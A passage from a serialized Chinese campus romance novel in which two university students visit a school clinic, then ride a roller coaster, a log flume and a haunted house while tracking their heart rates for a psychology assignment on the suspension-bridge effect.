楚忘殊闭眼,完蛋,她一整节课居然都睡过去了,睡得不知天地为何物……
“楚忘殊,你没发现你发烧了吗?”
“发现了。”
“发现了还烧这么烫?”他语气喜怒不辨。
“嗯,我以前发烧都是等它自己好的。”
祝屿白:“温度低可以扛过去,但你现在是高烧,高烧持续不加以干预的话,大概有12%的概概率发展为中耳炎或肺炎,还可能引起脑损伤。”
楚忘殊在一旁目瞪口呆,“你太夸张了吧。”
他这话,好像她下一秒就要被烧成傻子一样。
祝屿白不说话,只是看着她。
楚忘殊:“……”
眼神好瘆人。
五分钟后,楚忘殊败下阵来,“行行行,我现在就去校医院买药、”
她刚站起身,身体有些虚脱,踉跄了一下才站稳。
祝屿白忙伸手来扶她,见她站稳了,又默默收回手,“我也去,监督你。”
楚忘殊没意见。
两人并肩而行,一路上引起不少人侧目。
还好现在正是上课时间,大多数人都在上课。
进入校医院,楚忘殊好奇地四处张望。
校医院和宿舍楼隔了两个食堂,但她还从来没来过。
没想到第一次来,居然是和祝屿白。
两人先在导诊处登记了姓名学号,然后拐过一个弯,进了就诊室。
祝屿白拎着她的包,在门口等她。
“你好,我发烧,需要开点退烧药。”
校医让她先量体温。
这里只有温度计,还需要等满时间才能看到结果。
楚忘殊时不时朝门口张望,怕祝屿白等太久。
等待的每一分每一秒都是煎熬。
终于,时间到了。
“好了,烧的温度不算高,开两次量的药,吃完就差不多了,平时记得多喝点水。”校医接过温度计,叮嘱道。
“谢谢医生。”楚忘殊边起身边说。
“哎,等等,你去药的单子没拿。”校医连忙喊住她,看了眼门口的祝屿白,“你男朋友就在那,跑不了,不要那么急。”
楚忘殊连忙摆手,解释:“不是,我们就是朋友。”
“这样啊,不好意思。”
校医有些不好意思,见门口那人很焦急,目光还一直落在面前这女孩身上,让她以为两人就是情侣。
楚忘殊笑笑,走出就诊室。
路上心虚地瞥了眼祝屿白,也不知道他听到没有?
听到的话好尴尬啊,祝屿白肯定不想别人这样认为。
屋内的校医,看着两人离开的背影,惋惜地摇摇头。
这么般配的两个人,居然不是情侣?
可惜,实在是可惜。
拿完药,楚忘殊忽然想起一件十分重要的事情。
“祝屿白,这节课老师讲了什么啊?”她的问题一个接一个抛出,“有作业吗?”
祝屿白点头,“有。”
“什么?”
“心跳计划。”
31. 搭子日记三十一
走出校医院,两人从它后面林荫大道上绕行。
路旁边有条河,水波荡漾、油绿绿的,上面还有一艘木船,落了写枯叶在上面,看起来是被废弃了。
身后刮起一阵风,两旁的树叶簌簌作响,卷起路边残叶,让裸露着的皮肤泛起一层鸡皮疙瘩。
楚忘殊抖了一下。
看来发烧还是有影响的,放在身体好的时候,这点风算什么?
“心跳计划具体要求是什么?”楚忘殊问祝屿白,一偏头却发现他落后自己半步。
似乎是在用身体为她挡风?
没来得及细想,祝屿白就缓缓开口道:“老师让和搭档一起玩一个冒险游戏,要求两人的心率的达到110以上就行。”
“哦。”楚忘殊呆呆应了声,其实没搞懂这个作业和课程的联系。
“吊桥效应。”祝屿白似乎听到她心里的疑惑,主动解释道:“上节课的内容,所以才布置这个作业。”
吊桥效应吗?
楚忘殊知道这个心理学现象。
它是指在高压力或刺激环境下,人们容易将紧张或兴奋引发的生理反应错误归因于对他人的吸引力,从而产生情愫。
对这个作业,她挺期待的。
主要是想体验些高压刺激的活动。
至于“产生情愫”?
她才不相信玩一次游戏就可以。
喜欢一个人的心跳,和因为刺激而产生的心跳,能一样吗?
她对自己很有信心。
祝屿白更不用说,就那学霸的自控能力,这种心理学现象对他更是毫无影响。
“只要两个人心率达到110以上就行是吧?”楚忘殊向后侧头。
“对。”
楚忘殊放慢脚步,想和他走在同一水平线上,这样和他说话就不用费劲巴拉地转头了。
可祝屿白同样跟着她,放缓步调。
最后她索性倒退回去。
祝屿白愣了一秒,随后笑笑,没再走在她侧后方。
“你周三下午有课吗?”楚忘殊低着头,踩着落叶,问他。
“没有,但周三不行。”
楚忘殊惊讶地抬起头,她还什么都没说?怎么就不行了?
“你还在发烧。”祝屿白提醒她,“所以,必须等你完全好了才可以去完成作业。”
“你怎么知道我想说作业的事?”楚忘殊盯着他,这人莫不是有读心术。
祝屿白:“我恰好有合理的逻辑推理能力,你主动约我,除了作业,还能有其他事?”
说到最后,他的语气竟然有些幽怨。
楚忘殊心虚地咳嗽几声,试图掩饰,“当然有。”
“比如?”
比如什么啊……
怎么这会儿他的推理能力又失效了,看不出来她只是想找个台阶下吗?
不仅不给她台阶,这人甚至把她自己找出的台阶搬走……
“比如……比如请你吃饭!”她绞尽脑汁,终于想到一个借口。
祝屿白存心想逗她,追着问:“理由呢?”
“朋友之间请客吃饭,要什么理由啊。”楚忘殊呵呵笑两声。
让她发着烧的脑子扯出个借口就已经负荷加载了,理由什么的,她是在想不出来。
祝屿白挑挑眉,随后拿出手机。
楚忘殊好奇他在干嘛,但没经过人家同意,也不好直接看他屏幕,心痒痒的。
还好祝屿白写完,直接将手机举在她面前。
她定睛一看,沉默了。
屏幕上是他的备忘录,一大个醒目的标题——《楚忘殊欠我的饭》闯进她的视线。
楚忘殊:“……”
这人的备忘录就记这么无聊的东西。
“哎,上面怎么有两次了?”她指着手机,质问道。
不是只有这一次吗?
她什么时候欠的债?
“云城、机场。”祝屿白缓缓吐出四个字,说话间不经意转身,露出他眼角微红的皮肤。
楚忘殊一拍脑门,该死,忘了这茬。
“好吧,那周六去?刚好完成作业后,请你吃饭啊。”
她说完,又继续问:“不过我们到时候去哪?”
要让心率飙高,应该是做些极限运动吧?
“过山车?鬼屋探险?”祝屿白想起课堂上老师随口举的例子。
“祝屿白,你好无聊。”听他提供的选项,楚忘殊吐槽。
祝屿白:“……”
“不过好像也没更合适的选择了,那就这样吧,那周末去江州森林公园?”
楚忘殊认真思考,极限运动确实不现实,太危险。
万一到时候祝屿白出了什么差错,她可负不起这个责任。
祝屿白点头,不忘再提醒她一遍:“暂时这样,不过等时候你发烧没好,还是不能去。”
“知道了——”她拖腔带调。
接下来的两天,祝屿白几乎每晚都会发消息提醒她吃药。
搞得楚忘殊几乎形成条件反射,每晚那个时候都要看看自己吃药没。
终于,她的烧在周四退了下去。
她在祝屿白固定发消息催她吃药的时间点,发消息给他,和他说她已经吃完药,烧退了,所有周六可以出去完成作业。
祝屿白回了后,后来也不再发消息给她。
倒是楚忘殊,时不时还看看消息,担心没及时看到。
往往拿起手机,翻到和祝屿白的聊天界面,她才反应过来。
想了想好像发消息也不知道说什么,又悻悻然放下。
终于到了周六。
两人照例在东门集合。
上了车,祝屿白递给楚忘殊一个白色手环。
“这是什么?”她一边接过一边问。
带上后,她才发现祝屿白手腕上也有个一摸一样的。
想起今天出行的目的,她猜出来:“测心率的手环吗?”
祝屿白嗯了声。
江州森林公园是近年才兴起的公园,主要因为“疯了般”的过山车出名。
这里的过山车,名字叫“冲上云霄”。
车如其名,这里的过山车在到达最高点的时候,会直接悬空,好似真的要冲进天边一样。
两人买好票,跟着人群进去排队。
排在两人前面的,是一群中学生。
他们统一穿着校服,叽叽喳喳地讨论着,似乎是全班一起出来游学的。
两人站在他们中间,身高格外突兀。
还好两人都对注目礼免疫了,没半点压力地排着队。
前面还有一组才到两人,他们站在栏杆外看过山车启动。
工作人员刚按下启动键,车上的人不约而同地发出一声尖叫,尖
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叫声随着过山车的速度逐渐提高音量。
过山车到达顶点,车子悬空,尖叫声成倍增长,几乎划破天空。
随着车子滑落轨道,声浪一阵接着一阵。
还在排队的众人,听着撕心裂肺的声音,讨论不停,还不时传出笑声。
楚忘殊也笑开,看起来很刺激啊。
而她最喜欢的,就是刺激。
她转头去看祝屿白,却发现他正盯着过山车的轨道看。
“怎么了?你不舒服吗?还是你害怕?”她担忧地问。
他脸色看起来不太好。
“没事。”想起楚忘殊刚才兴奋的侧脸,祝屿白压下心底翻涌的情绪,摇头道。
“真的?”楚忘殊还是不放心。
“真的。”他回应。
楚忘殊还想说些什么,工作人员过来打开栏杆闸门,让众人做好准备。
祝屿白推着她坐上去。
临开始前,楚忘殊把手伸到两人中间,“害怕就抓紧我的手。”
祝屿白露出一个笑,有些哭笑不得。
他看着她的眼睛,“谢谢女侠。”
见他还有心情说笑,楚忘殊轻松了点,放下心来。
过山车开始移动,速度越来越快。
耳边是人群的尖叫。
楚忘殊刚才看的时候,还觉得叫声太夸张,此时此刻,她倒觉得不尖叫才怪。
手忽然被人抓住。
她偏头,见祝屿白的手牢牢抓着她的手,手背上的青筋格外明显。
视线上移,落在他脸上,她才发现他眼睛紧闭,牙关紧咬,没有出声。
他害怕。
意识到这个问题,楚忘殊第一反应是后悔。
为什么什么也没问就拉他来排队?
为什么开始前明明察觉到他的异样却没追问到底?
过山车即将行至最高点,现在说什么也晚了。
她反握住他的手,试图给他些安慰。
祝屿白紧皱着的眉头放松了几分。
身体猛然下坠,像在做自由落体般。
头彷佛不是自己的,一动不能动,只能由着地心引力控制。
同车人撕裂般的叫喊声中,唯二沉默着的两人手紧紧相握。
一圈终于结束,车子停下。
楚忘殊先解开安全带,下车到一旁看祝屿白。
他脚步有些虚浮,明显吓得不轻。
楚忘殊扶着他,慢慢沿着小道离开这个区域。
两人在一个木椅上坐下。
楚忘殊沉声,“你害怕为什么不说?”
祝屿白头后仰,靠在椅子上,“我只是想试一下。”
更重要的是,他不想扫兴。
这次的体验真的不太好,此刻胃里翻滚着,随时要吐的感觉。
但他不后悔。
楚忘殊的低气压已经到他闭眼都能感受到的程度,他慢悠悠地说:“我不害怕过山车。”
楚忘殊无语,要不是这里没镜子,她真想让他看看他自己现在这副虚弱样。
都这样了,还说不怕?
还没等她说话,祝屿白又接着说:“我只是恐高。”
楚忘殊简直要气笑了。
知道自己恐高为什么还要玩?
这过山车上有什么宝藏吗?
值得他明知自己恐高也要坐?
32. 搭子日记三十二
两人无声地坐在椅子上,中间几乎要隔着个银河了。
对面,一辆砖红色的复古小汽车驶过,车上很多小学生,探头探脑地看着两人。
还有人挥动着肉乎乎的小胖手,给两人打招呼。
祝屿白举手,挥了挥,算是给对面的回应。
目睹这一幕,楚忘殊哭笑不得。
此刻她情绪很复杂,有对祝屿白“不知死活”的气,也有对他此刻那么难受,却还认真给小朋友们挥手的感慨。
公园绿化做得很好,到处都是绿油油得树荫。
阳光从枝头洒下来,氤氲出光圈,细碎的金色阳光落在他脸上,将他轮廓分明的立体感映衬得更加突出。
两人就这样静坐着。
“休息好了吗?好了的话就走吧。”楚忘殊这会儿完全没了气,见祝屿白脸色好了很多,开口道。
过山车是公园最惊险的项目,但他恐高,也就没法继续。
“去哪?”祝屿白头一回有些懵地看向她。
他眼睛微眯着,许是刚从难受中缓过来,眼里还有些湿润,看起来像一头迷路的小鹿,懵懂地看向主人。
“回去了啊,你难道想再体验一遍?”她看向有一波开始惨叫的坐过山车的人。
“可来都来了……”祝屿白慢悠悠睁眼,眼皮耷拉着,“再说,我们买了门票,就玩个过山车岂不是太亏了?”
楚忘殊杵着下巴,仔细思考,突然发现他说的好有道理。
“那我们玩回本?”
楚忘殊说完,两人相视一笑。
祝屿白起身,还好胃不那么难受了。
椅子旁边有个乐园的地图,花花绿绿的文字写满了建议游玩顺序。
两人都没看,眼神落到哪里看哪里。
“这个怎么样?”
两人手指落在同一个地方,几乎同时出声道。
说完,两人都觉得好笑,虽然不知道笑点在哪。
“那就去这里了?”
他们指的是“海上漂流”,看名字应该是坐船的地方。
“好。”祝屿白简洁回复。
他刚想走,楚忘殊忽然拉住他。
她往后指,顺着她指的方向,祝屿白看到了刚才的复古小红车。
“体验一下?”
楚忘殊歪着头,眨眨眼。
祝屿白没说话,径直往那走,面无表情的脸上,嘴角微微扬起。
两人上了火车的最后一截车厢。
前面坐着对情侣,女孩亲昵地靠在男生肩上,不时莞尔一笑,互相喂对方零食。
楚忘殊看了一眼,转头看向后面。
火车走得不快,方便游客观光。
郁郁葱葱的树木和花草相映成趣,枝头小鸟嬉笑着,扑棱着双翅,冲向天空,好不热闹。
楚忘殊只顾着看风景,头伸出车厢,想去摸一下路边的一棵树。
那棵树的树叶是锯齿状的,她还从来没有见过,有些好奇。
手碰到树叶的前一秒,一股熟悉的外力忽然拉住她的手腕,一把将她拽回车厢。
紧接着是一阵强烈的汽笛声呼啸而过,眼前一片漆黑。
是火车进入了模拟隧道。
好在这样的过程没持续太久,马上就见到了光明。
楚忘殊心有余悸地看向刚才的隧道。
外观是灰色砖块砌成的,坚硬无比。
她不敢想刚才如果自己撞上,会有多疼?
手腕炙热的触感还在持续。
她低下头,才发现祝屿白还拉着她的手腕。
相握的地方很烫,连带着她心里也有些异常的情绪,她轻声:“可以放开了吗?”
听到她的话,祝屿白似乎才意识到,猛地甩开她的手,目不斜视地看向前方。
楚忘殊揉了揉被甩开的手腕,有些莫名。
她的手携带病毒了吗?
她盯着手腕,狐疑地瞥了眼祝屿白,试图从他的眼神里读出自己想要的答案。
可惜祝屿白像个石像一样一动不动。
楚忘殊放弃了,再次将目光投到沿途的绿色中。
在她移开目光的下一秒,祝屿白余光看向她。
视线停留几秒后,落在他的心率手环上。
上面显示着他的实时心率:137次/分钟。
小火车到达“海上漂流”站点,楚忘殊先下车,祝屿白紧随其后。
绕着曲折蜿蜒的楼梯,他们终于来到了“海上漂流”的出发点。
楚忘殊兴冲冲跑上前去排队,跑到一半,忽然停下。
“怎么了?”祝屿白问。
她审视的目光在他身上上下扫视,“你确定不怕水吗?”
祝屿白:“……”
他在她眼里这么弱吗?
“确定以及肯定,不怕。”他还是配合她,耐心回答。
“那就好。”楚忘殊很满意,笑开。
排好队,很快就到了他们。
工作人员给了两人各一件青色雨衣,交代他们把手机等贵重物品寄存好,不能拿着上船。
说是船,其实也就是个类似椅子的东西,不过是围起来的。
楚忘殊选了个刚好容纳两人的船,先行上去,然后招呼祝屿白。
坐下后,她开始捣鼓怎么用雨衣将自己包裹得最严实。
一顿捣鼓后,她全身只露出张脸。
祝屿白看着她的样子,没忍住笑出声。
楚忘殊:“……”
有那么好笑吗?
她凉飕飕地看向祝屿白,试图用眼神警告他再笑试试!
祝屿白手动比了个闭嘴的动作,只是嘴角怎么也压不住。
也是这时,楚忘殊才发现祝屿白只是将雨衣套在身上,一点措施都没做。
“你就打算这样开始吗?”她好心提醒。
祝屿白顺着她的目光,扫视了一圈自己的穿着,确实没什么问题啊。
他认真地点点头,“对。”
楚忘殊:“你这样待会动起来,会进水,弄湿衣服。”
祝屿白明显不信,还左右看了看他们坐着的船,怎么看怎么都不会进水啊。
楚忘殊:“……”
算了,她已经提醒过了。
船即将发动的前一秒,祝屿白忽然神色严肃。
看来他终于意识到他刚才的愚蠢了。
可惜完全来不及了,工作人员解开绳子,船开始移动。
船顺着水流盘旋着急速而下。
船旋转着,楚忘殊什么也看不清,眼里只有对面的祝屿白。
好似两人坐着的这艘小船,成了一个独立的世界。
外界的纷纷扰扰自动变黑白。
水还是没进来。
楚忘殊不解地皱眉,难道自己又判断错了。
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她抬头,祝屿白正老神在在地坐在对面,嘴角带笑看着她。
见她看过去,直接笑开,好似在嘲笑她裹得和个粽子一样。
楚忘殊移开目光。
她刚想扯开密封袋一样的雨衣,船忽然一个急转弯,激烈地与水道边的墙体相撞,直接把人撞得腾空,还好她眼疾手快牢牢抓住船体一角,这才坐稳。
紧接着遇到一个障碍,将船体弹起来,再重重落下。
水猛地冲进来,瞬间灌满小船。
像有人迎面泼来一桶水,全方面无死角地往人身上倒。
船终于到了一个比较平缓的水段。
楚忘殊眼睛往上看,看到头发上一颗颗水滴下来。
还好她裹了雨衣,多数水被挡在外面。
她忽然想起祝屿白——没好好穿雨衣。
她分出精力去看祝屿白,随后毫不留情带出发出一声爆笑。
“哈哈哈哈哈哈,祝屿白……你这副样子……”船不是颠簸起来,打断她的话,不过不妨碍他嘲笑祝屿白的决心,“真是……难得一见。”
对面的祝屿白,头发全被打湿,淅淅沥沥地滴着水,衣服也沾了很多水,紧贴着他的身体。
祝屿白叹口气,无奈地看着还在狂笑不止的楚忘殊。
湿哒哒的头发贴在额头,遮挡着视线,很不舒服。
他反手将头发往后揽,露出额头。
五官毫无修饰地暴露在阳光下,不时有水痕划过。
楚忘殊看着,呆了一秒,止了笑。
该死,他这副样子不应该是好笑吗?有点好看是怎么回事?
她移开目光,注意力放在自己的雨衣上。
她穿了雨衣海被打湿,那还不被祝屿白笑死?
还好接下来的路段没什么刺激的地方。
两人平稳地到达终点。
下了船,楚忘殊先下车。
她将雨衣脱下,擦干前面的头发上的水滴。
祝屿白慢一步才走到她身边。
或许是和祝屿白相处久了,她看都没看,就知道是祝屿白。
“怎么样?落汤鸡的感觉如何?”她侧过头,不忘调侃。
谁叫他刚才嘲笑她裹得像个粽子一样!
在看到祝屿白的时候,她怔愣一下。
他今天穿了件白衬衫,很寻常的穿搭,但经过刚才,衣服几乎全被水打湿,衣服变得有些……透明。
两人距离很近,楚忘殊几乎不用费劲,就将他的腹肌看得一清二楚。
她愣愣抬头,什么也没思考,心里的想法脱口而出:“我能摸摸吗?”
祝屿白身形一僵,没说话。
片刻后,楚忘殊意识到她的话有些冒犯,刚想开口,就听见祝屿白低沉的嗓音落在耳边:“你这次想摸哪里?”
“啊?”
这次?她还摸过他哪里吗?
哦对了,上次在飞机上摸过他的睫毛。
“咳咳……”她假装咳嗽两声,试图掩饰尴尬。
他这话说得她好像个登徒子,到处拈花惹草。
实在是他的睫毛完全长在她审美点上,她一时忍不住才……
这次,就忍一忍吧。
主要是听他的语气,也不乐意给她摸。
她刚下定决心,祝屿白的话再次响起:
“不摸了吗?还是需要我拉着你的手摸?”
33. 搭子日记三十三
下一批游客出发,水道里不时传来阵阵惊呼声。
楚忘殊站在阴影里,看着祝屿白,正认真思考他给出的提议。
祝屿白也不急,就那么站着等她的决定。
他看着楚忘殊的目光毫不遮掩地盯着他腹部,甚至停下擦衣服的动作,任由她看个遍。
不知道过了多久,楚忘殊终于动了。
她试探性伸出手,缓缓凑近祝屿白,“我真的摸了?”
祝屿白好笑,“需要我帮你吗?”
楚忘殊摇头,“不用。”
说话的同时,她手触摸到了他的腹肌。
“好硬。”楚忘殊的第一反应只有这一个,想着的同时呢喃出声。
“咳咳咳咳……”祝屿白忽然咳嗽起来,后退几步。
楚忘殊的手离开,她还莫名有些回味。
视线上移,她才发现祝屿白的脸很红,特别是耳朵,红得就像要滴血一样。
“你很热吗?”她整个人都站在阳光下,这会儿正是正午,太阳最毒辣的时候。
“额……对,我有点热。”
祝屿白眼神乱飘,听到她的话,愣了一秒后顺着她的话说。
楚忘殊哦了一声,不再说话。
还好今天天气比较好,祝屿白的衣服没多久就干了。
两人在乐园里晃悠了一圈,除了“高”的游乐设施,其余几乎全玩了一遍。
玩累了,两人找了个凉亭坐下休息。
楚忘殊双手撑着下巴,目光无神,打了个呵欠。
顿了片刻,她看了看手环,整个人呆滞在原地。
完蛋,她好像忘开心率检测的功能了……
她心虚地看向祝屿白,“那个……作业可能还要点时间……”
她越说越小声,最后直接没了声音。
带入祝屿白的视角,累了一整天,结果因为队友全白忙活了。
“没事。”祝屿白淡淡道,语气波澜不惊,没有半点她想象中的抓狂。
“那我们下一步去哪?”
看着他神色没什么异常,楚忘殊松了口气,接着问。
“你不累吗?”祝屿白倚着栏杆,视线越过中间的桌子落在她身上。
楚忘殊这会儿哪还敢喊累,果断地摇摇头,又问了一遍,“下一步去哪?”
“老师给出的方案是不是有鬼屋探险?要不我们试试这个?”她提议道。
祝屿白拿出手机,搜索导航,找了家离着最近的体验店。
出了乐园,两人在一家拉面馆吃了面,打车前往目的地。
半小时后,楚忘殊望着店门口画着的阴森骷髅头,心里在想这家店真的好玩吗?
“走吧,这次我一定记得把手环打开!”
人总不能在一样的错误坑里摔倒两次吧!
鬼屋店外面是一截陡峭的斜长阶。许是为了营造恐怖的氛围,增加玩家的体验感,这里的灯光都很暗。
两人刚想走,一阵电话铃声响起。
“我在上面等你。”楚忘殊指着长阶尽头。
“好。”他接通电话,那头传来苏逢秋的声音:“在哪?去你老家没看到你。”
苏逢秋站在图书馆四楼走道上,倚着栏杆,透过玻璃门看着祝屿白之前常常坐的座位。
“十全街。”
“哟,罕见啊,你在哪干嘛?”苏逢秋像发现新大陆一样惊奇。
不过对于祝屿白这人,现在不在图书馆,而是在外面,也的确是“新大陆”了。
“玩。”
苏逢秋:“……玩什么?”
“鬼屋探险。”
“啥玩意?”
苏逢秋不可置信地盯着手机,惊得差点连话都说不利索。
对面鸦雀无声,气氛逐渐尴尬。
苏逢秋咳了两声,意识到自己太过大惊小怪,周围人的目光偷偷看向他,好似在看一个神经病。
他丝毫不慌,走到楼梯间,确保不会吵到别人。
略微思索后,他问祝屿白:“和那位一起?”
祝屿白默认。
苏逢秋在电话那头笑得肩膀直抖,“我说呢,你怎么会出现在那里,原来是那位也在啊。”
“你刚才说什么来着?鬼屋探险吗?”苏逢秋着栏杆,抱着手,脸上笑意还没褪,“祝屿白,你不会也想用那么俗的手段吧?”
“什么?”祝屿白不解,他没反应过来苏逢秋在说什么。
“啧啧啧,你别装,”苏逢秋一脸嫌弃,“上次宋然说恐怖电影那次,你不也在场。”
祝屿白想起来。
苏逢秋说的是宋然在宿舍讨论一部偶像剧的剧情时,说男主约女主去看恐怖电影,这样在女主被吓到的时候,男主就能把她搂在怀里,有利于促进两人感情升温。
当时祝屿白注意力没在他们的谈话上,话只是留个模糊的印象。
现在被苏逢秋一提起,他又记起。
听筒里很久没有声音传来,苏逢秋还以为他挂了,看了眼屏幕才放心。
“喂,怎么不说话?”他憋着笑。
还是没有任何声音。
他神色正经了些,脸身体都下意识站直,不再像刚才那样松松垮垮地倚着,“你不会真打算这么做吧……”
“祝屿白,我告诉你啊,你要真这么俗,我可就要好好考虑和你的兄弟关系了啊。”他叽叽喳喳话说个不停。
祝屿白:“……”
无语,他有说什么吗?
“不会。”他十分无奈地回了一句,“没什么事就挂了。”
“哎哎哎,等……”听筒里响起挂断声,苏逢秋握着手机,好笑又好气。
切,就你手快,下次他一定在他前面挂!
祝屿白挂断电话,看向长阶上的楚忘殊。
她站在灯光下,发丝被风吹起,灯光晕染在上面。面容看不清,藏匿在昏暗的灯光下。
似乎是看到他抬头,她抬手朝他招手,示意他上去。
他嘴角忽而勾了勾。
这样暗的路,他不喜欢。
但一想到路的尽头是她,他忽然觉得也不难走了。
走完,祝屿白站在楚忘殊面前。
看到他跟上来,楚忘殊转身想推门。
“等一下。”他拉住她。
“怎么了?”
“你害怕吗?”他脑海里反复响着宋然那番话。
他承认他想和楚忘殊有肢体接触,但不想是因为吓到她的原因。
面前的人轻笑一声,“我不怕啊,怎么?你怕了?”
说着她拍拍胸口,“没事,待会要害怕的话我保护你。”
祝屿白被她逗乐,笑着点头,“嗯,那就麻烦你了。”
“祝屿白,我忽然发现
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——”
“嗯?”
“你好娇啊。”
说完,她推开大门先进了门。
祝屿白不置可否,跟上她的步伐。
两人挑了个最近的场次,等待开场。
在选择恐怖程度时,楚忘殊想也没想就选了个和重恐。
“你确定吗?要不再想想?”祝屿白建议。
楚忘殊认真思考,随后回道:“你很害怕吗?”
她是不怕,但也得考虑祝屿白。
祝屿白嘴角抽搐了下,不敢想自己在她心里是个什么形象,才让她问出这句话。
看她一脸无畏的样子,他不再纠结,放开手,“那就这个吧。”
没等多久,他们进了鬼屋。
刚进去,一个吐着血淋淋舌头的NPC从暗夜中毫无征兆地跳出,把同场次的人吓得四处逃窜。
祝屿白一直神经紧绷,时刻注意着楚忘殊,担心她被吓到。
然而,他预设的担心没有发生,楚忘殊淡定地瞥了一眼NPC,最后径直走向下一个地点。
她这一操作给NPC都看懵了,目瞪口呆地注视着她离开,怀疑自己的业务能力。
要不是屋子里没有镜头,NPC都打算看看自己现在这副样子是不是真的不吓人了。
祝屿白跟在后面。他想过她不怕,但没想到何止是不怕,简直是波澜不惊。
后面的路程,两人几乎毫无体验感。
像喝一杯温白开一样索然无味。
一套流程走完,楚忘殊甚至无聊得想打呵欠。
出了屋子,两人面面相觑。
“你确定我们选的是重度恐怖吗?”楚忘殊开始怀疑自己刚才是不是看错了。
祝屿白没说话,只是表情足以说明一切。
楚忘殊不死心,开始看手环的心率记录。
72次/分、75次/分、71次/分……
好吧,这心率简直比海平面还平。
“你怎么样?”她看向祝屿白。
祝屿白避开她的目光,随意回了句:“和你差不多。”
“真的假的?”她不太相信。
上午玩“冲向云霄”的时候,他那害怕样心率还没飙高?
“我能看一下吗?”她十分好奇。
祝屿白犹豫了半秒,似乎在经历天人之战,最后还是败下阵来。
他根本无法拒绝她。
将手环取下,他递给她,“我在出口等你,看完早点下来。”
说完大踏步离开,背影颇有些落荒而逃的意味。
楚忘殊没注意,一心扑在手环上。
她打开历史记录,果然,在玩过山车的时间段,他心率直接突破了130次/分。
看着这个数据,她对祝屿白恐高的害怕程度有了实感。
再往下看,她忽然发现他还有好几条心率很高的记录。
看时间点,有些是在玩“水上漂流”的、还有些就是在不久前?
她没再继续,快步走到出口处,找祝屿白汇合。
他身影放在人群中很显眼,楚忘殊完全没费什么力气就看到他。
走到他身边,她还有点喘,平复了一下心情,她开口:“祝屿白,我有个问题想问你。”
祝屿白神色变得很奇怪,似乎又紧张又期待。
她难道发现他喜欢她了?
34. 搭子日记三十四
一片嘈杂声响起,看来是这一场次结束了,人流逐渐加快。
两人站在一个略空旷的地方。
祝屿白一眨不眨地盯着她,心急又不急的样子。
终于,在他期待的目光下,楚忘殊开口:“你这心率有点快啊。”
祝屿白身体一僵,咽了咽口水。
要不要趁她开口之前先承认?
“其实……”
“你……”
两人同时开口,随后又神同步地第一时间看对方,笑开。
“你先说。”祝屿白抿唇,说话的同时往后退了退。
楚忘殊:“你心率太快了,容易心律失常。”
“对,我就是喜……”祝屿白沉浸在自己的世界里,话说一半,忽然反应过来,急忙刹车:“你刚才说什么?”
楚忘殊重复一遍,担忧地扫了他一眼。
不会吧?难道心率过快还会导致听力下降?
“噢噢,这样啊。”祝屿白手尴尬地找不到地方放。
她想说的是这个啊,他还以为……
说不清是庆幸还是失落,他转身望向远处的灯红酒绿。
楚忘殊察觉到他情绪似乎不太对,以为他是被自己的话吓到了,急忙安慰他:“你也不用太过胆小,心率过高只是容易心律失常、增加猝死的风险,但你好好注意身体,还是有挽救机会的。”
说到最后,楚忘殊总觉得她的安慰奇奇怪怪的,怎么感觉更把人说得像绝症似的。
“咳咳,你刚才想说什么来着?”她僵硬地转移话题。
她本来就不会安慰人,再继续聊下去,她怕给人聊抑郁了。
祝屿白听着自己即将猝死以及她蹩脚的强行对话,整个人哭笑不得。
“我说谢谢你的关心。”祝屿白睨她一眼,“走,回去了。”
是这句吗?怎么口型对不上?
楚忘殊跟在她身后,疑惑地看向他的背影。
思考半天无果,她甩了甩脑袋。
想不明白就不想了,浪费脑细胞。
回学校的车上,楚忘殊死死盯着她的手环,看着上面的记录发呆。
完蛋,一天下来,一无所获。
她好像从小就很胆大,蠕动着的虫子直接伸手抓,甚至能拿在手上把玩。
长大后,她为数不多的爱好,几乎都是些极限运动。
滑雪、跳伞、极限越野、翼装飞行……
经过磨砺后,好像日常的东西很难令她心率波动。
她苦恼地撑着下巴,目光无神地盯着车窗外。
“祝屿白,我们这次作业可能要零分了。”她蔫巴巴地说。
祝屿白:“没事,只是一次作业而已。”
谁知楚忘殊忽然转过头看他,“我们之前有过一次低分作业了。”
“所以?”
“所以意味着我们这次再零分的话,我们真的就只能及格了。”
祝屿白试图理解她的逻辑:“你想要高分?”
楚忘殊:“……”
她头一次体会到恨铁不成钢是什么感受。
到底谁是追求满绩的人啊?
她当然只追求及格就行了,但现在和他组队,她可不想拖累他。
如果这门课成为祝屿白唯一的低分课程的话,她决定会被钉在耻辱柱上。
虽说她不在乎别人的看法,但还是不想要莫名其妙的关注度。
“你就当是吧。”她叹了口气,十分哀愁道:“你说我干点什么能把心率提高呢?”
“我或许有个办法。”
安静的车厢里,祝屿白忽然开口道。
“说说看。”楚忘殊像抓住了救命稻草一样,期待地看向他。
“我这个方法,也可能不成功。”祝屿白有些犹豫,怕自己赌输了,到时候让她愿望落空,所以提前给她打好预防针。
“而且,这个方法需要你配合,可能会有点……”他斟酌着措辞,想找到最贴切的词语,“冒犯?”
他说得有些吞吞吐吐,略显笨拙,完全和以往文思泉涌的样子相反。
楚忘殊很疑惑,不知道是什么方法会冒犯到她?
可是,祝屿白这副样子,一看就不是会冒犯到人的啊。
她选择相信他,同时也有死马当活马医的意思,“没事,你说吧,我应该能接受。”
“好。”
祝屿白正襟危坐,目不斜视地看向前方。
然而视线完全没聚焦,不知道在想什么。
“你还没说什么方法呢。”楚忘殊拽了拽他的衣角,提醒他。
“回学校再说。”
祝屿白轻轻咳了声,还是没看她。那副样子,倒像在给自己打起。
楚忘殊哦了声,瞥了眼,搞不懂他怎么突然神神秘秘的。
在车上不能说,还非得到学校。
这是什么很机密的事吗?
接下来的路程,楚忘殊没再继续陷在没完成作业的失落中,一心思考祝屿白说的方法是什么、
然而她想了一路,还是没任何头绪。
在她抓心挠肝的好奇中,江州大学的校门终于引入眼帘。
一下车,她就迫不及待地开口,“现在能说是什么方法了吗?”
祝屿白深吸一口气,一副如临大敌的样子,“先跟我去个地方。”
楚忘殊有些失望。
但等了那么久,也不差这几分钟,于是亦步亦趋地跟在他身后。
两人来到计算机学院楼下。
这条路似乎没有多少人知道,路上都快被荒草占据。
两人穿过小路,看到前面的电梯。
一丛夹竹桃盛开在电梯口旁,远远看去,像一把撑开的绿绒大伞。
坐上电梯,楚忘殊偷偷瞥了眼祝屿白。
到底是什么方法,值得这么大阵仗?还得找个特定的地方能说。
叮一声,电梯门打开。
祝屿白走到前面,刷卡打开了一扇门。
里面简单地陈设几张桌子,还有个黑色沙发。
“这里是?”楚忘殊四处张望,对这里十分好奇。
